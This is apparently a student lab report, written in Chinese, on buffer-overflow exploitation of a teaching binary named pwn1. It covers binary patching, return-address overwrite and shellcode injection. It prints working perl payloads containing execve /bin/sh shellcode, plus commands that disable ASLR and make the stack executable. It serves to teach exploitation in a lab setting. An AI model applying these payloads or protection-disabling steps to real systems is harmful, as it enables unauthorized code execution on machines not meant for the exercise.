#20232329易杨文轩 2025-2026-1 《网络与系统攻防技术》 实验一实验报告

1.实验内容

本次实验以 Linux 可执行文件 pwn1 为对象。
程序正常流程:mainfoofoo 仅回显用户输入;
程序已含 getShell 片段,可交互式返回 shell,但默认不会被执行。

实验目标:强制运行 getShell,并进一步实现任意 shellcode 注入。

采用三种缓冲区溢出攻击路径:

  1. 手工修补
    直接修改可执行文件,改写控制流,使程序启动即跳转到 getShell

  2. 返回地址覆盖
    保持原文件不变,利用 foo 局部缓冲区溢出,精确覆盖栈帧返回地址,令 foo 返回时转入 getShell

  3. Shellcode 注入
    仍利用 foo 溢出,在返回地址处填入自构造 shellcode 的注入地址,使程序执行用户注入的任意代码并返回 shell。

2.实验过程

2.1.直接修改程序机器指令,改变程序执行流程

  • 首先登录root,将主机名改为自己的姓名拼音
    image

  • 将可执行文件 pwn1下载到虚拟机里(这里文件名最开始打错了)
    image

  • 输入指令objdump -d pwn1 | more找到getshell、foo、main函数
    f0cf3b25c3eb388a26dc3212fb0ba8fe
    image
    8a93f879be2df44bdd908073e07809b9

  • 通过上图可以发现main函数调用了foo函数d7 ff ff ff,我们需要修改可执行文件,将调用的地址改为getshell函数的地址c3 ff ff ff即可改变程序的执行流程。

  • 这里我们需要做以下步骤:

    • 1.输入指令cp pwn1 pwn2复制一个文件并输入vi pwn2进入到文件中。
    • 2.输入%!xxd切换显示模式为16进制。
    • 3.输入/e8 d7找到要修改的内容,将d7改为c3。
    • 4.输入objdump -d pwn2| more查看修改结果并进行测试

6d5a5959c8803b9c5d032318c13632f6
f4e71183cd80461c9e55c486fab0ab41

  • 最后得到修改成功的pwn并且getshell成功运行。

2.2.构造输入字符串覆盖返回地址,改变程序执行流

  • 反编译查看pwn1中的汇编代码
    f0cf3b25c3eb388a26dc3212fb0ba8fe
    8a93f879be2df44bdd908073e07809b9
  • 可以发现,在main函数调用的foo函数中仅仅只给输入的数据分配了28字节(0x1c)的空间,同时在堆栈上压上返回地址值为80484ba,我们的目标是覆盖返回地址并替换为getshell的地址。
  • 使用gdb pwn1调试程序,输入1111111122222222333333334444444455555555

0f30be662b7b2d16592b50aae3634573

  • 输入info r确认输入字符串哪几个字符会覆盖到返回地址。

730b771eaadf6c8ea79f2d5ae997c2cb

  • 可以看出,寄存器中的值即为“4321”的ASCII码,这也说明getShell函数的首地址,即7d 84 04 08

  • 我们使用perl先生成一个包含getShell函数首地址的文件,然后通过管道让文件的内容成为pwn1的输入。

20861ad5af5a7b4d09786a6bb8387478

  • 如上图所示,我们成功获得了Shell

2.3.注入Shellcode并执行

  • 我们需要先下载execstack,这里给出我个人的方法,仅供参考。

  • 下载这个文件:http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1ubuntu1_amd64.deb

  • 解压到虚拟机后使用这个命令:apt install ./execstack_0.0.20131005-1.1ununtu1_amd64.deb就可以正常使用了。

  • execstack -s pwn1设置堆栈可执行

  • execstack -q pwn1查询文件的堆栈是否可执行

  • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

  • more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭

20df0c3d8468bc59a63729fcbc16b2cf

  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 输入(cat input_shellcode;cat) | ./pwn1input_shellcode的输入内容作为pwn1的输入

aed4dbe818fe3ed1c9556678f021bb5d

  • 打开新终端,输入ps -ef | grep pwn1查看进程

image

  • 可以得知我们的进程号为55858

  • 启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析。

  • 输入break *0x080484ae设置断点。

image

  • 在另一个终端输入命令c并在此终端按一下回车
  • 输入info r esp查看栈顶指针所在位置,当前ESP值为0xffffcfec

cc5c4367a56d408ee0886b511ba31dd1

  • 使用x/16x 0xffffcfec命令查看该地址处的存放内容

a2b498433bbd926013c71d15c6a1d3a0

  • 这里我们找到了0x01020304,说明是正确的地址,将栈顶指针地址再加4字节,就是shellcode应该处于的地址,即 0xffffcff0

  • 使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode

  • 输入(cat input_shellcode; cat) | ./pwn1,执行ls命令

17244426335f07cc7379aa4e9b3fb656

  • 获取成功

3.问题及解决方案

  • 问题1:execstack下载
  • 问题1解决方案:如2.3中所演示下载即可
  • 问题2:找不到pwn1的进程,如图
    90ada27875f5316ea9e558fc62573dcb
  • 问题2解决方案:gdb模式下,run指令就好了,同时运行pwn1的终端不能断。

4.学习感悟、思考等

本次实验对于我来讲还是比较陌生,在前期准备工作上多下了些功夫,指导书中的很多知识之前都没有了解过,很早就听过网络攻防课的难度,这次实际体验了一下,但总的来讲还是收获颇丰,遇到和指导书不一样的地方自己琢磨后能解决,最后顺利完成实验。

参考资料

posted @ 2025-10-11 15:01  20232329易杨文轩  阅读(11)  评论(0)    收藏  举报